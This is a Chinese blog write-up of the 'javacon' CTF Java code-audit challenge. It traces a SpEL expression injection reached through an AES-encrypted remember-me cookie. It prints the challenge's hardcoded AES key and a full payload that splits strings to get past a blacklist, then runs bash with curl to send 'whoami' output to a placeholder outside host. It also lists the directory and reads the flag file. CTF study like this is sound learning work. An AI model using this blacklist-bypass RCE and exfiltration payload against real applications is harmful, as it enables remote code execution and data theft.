首页 > 编程语言 >[Java代码审计]javacon WriteUp

[Java代码审计]javacon WriteUp

时间:2022-10-27 13:33:17浏览次数:51  
标签:return String WriteUp getBytes cipher new Java javacon public


文章目录

写在前面

在P神星球看到的,这里学习一下,文件在​​https://www.leavesongs.com/media/attachment/2018/11/23/challenge-0.0.1-SNAPSHOT.jar​

javacon

运行的时候利用​​java -jar challenge-0.0.1-SNAPSHOT.jar​​ 首先查看配置

[Java代码审计]javacon WriteUp_el表达式


首先在登录页面,在login页面post接收参数,与配置当中的比对,成功则设置cookie

@PostMapping({"/login"})
public String login(@RequestParam(value = "username",required = true) String username, @RequestParam(value = "password",required = true) String password, @RequestParam(value = "remember-me",required = false) String isRemember, HttpSession session, HttpServletResponse response) {
if (this.userConfig.getUsername().contentEquals(username) && this.userConfig.getPassword().contentEquals(password)) {
session.setAttribute("username", username);
if (isRemember != null && !isRemember.equals("")) {
Cookie c = new Cookie("remember-me", this.userConfig.encryptRememberMe());
c.setMaxAge(2592000);
response.addCookie(c);
}

return "redirect:/";
} else {
return "redirect:/login-error";
}
}

选中RememberMe之后登录,成功进入

[Java代码审计]javacon WriteUp_el表达式_02


我们看看这里进行的操作,首先获取remember-me参数

[Java代码审计]javacon WriteUp_jar_03


查看函数​​getAdvanceValue​

[Java代码审计]javacon WriteUp_el表达式_04


首先这里将接收的参数并与黑名单进行比对,如果匹配成功则抛出错误

[Java代码审计]javacon WriteUp_jar_05


如果没有匹配到则进行正常流程,在SmallEvaluationContext进行SpEL表达式解析。注意,这里就存在SPEl表达式注入

[Java代码审计]javacon WriteUp_el表达式_06


因此我们只需要绕过黑名单构造参数即可

class Encryptor {
static Logger logger = LoggerFactory.getLogger(Encryptor.class);

public Encryptor() {
}

public static String encrypt(String key, String initVector, String value) {
try {
IvParameterSpec iv = new IvParameterSpec(initVector.getBytes("UTF-8"));
SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
cipher.init(1, skeySpec, iv);
byte[] encrypted = cipher.doFinal(value.getBytes());
return Base64.getUrlEncoder().encodeToString(encrypted);
} catch (Exception var7) {
logger.warn(var7.getMessage());
return null;
}
}

public static String decrypt(String key, String initVector, String encrypted) {
try {
IvParameterSpec iv = new IvParameterSpec(initVector.getBytes("UTF-8"));
SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
cipher.init(2, skeySpec, iv);
byte[] original = cipher.doFinal(Base64.getUrlDecoder().decode(encrypted));
return new String(original);
} catch (Exception var7) {
logger.warn(var7.getMessage());
return null;
}
}
}

public class RMIServer {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
System.out.println(Encryptor.encrypt("c0dehack1nghere1", "0123456789abcdef", "#{T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"/bin/bash\",\"-c\",\"curl http://xxx?a=`whoami`\"})}"));
}
}

成功拿到

[Java代码审计]javacon WriteUp_java_07


看看根目录使用​​ls /|base64​​防止遇到空格以后被截断

[Java代码审计]javacon WriteUp_el表达式_08


通过​​cat /flag​​获取到flag

[Java代码审计]javacon WriteUp_java_09


标签:return,String,WriteUp,getBytes,cipher,new,Java,javacon,public
From: https://blog.51cto.com/u_15847702/5800906

相关文章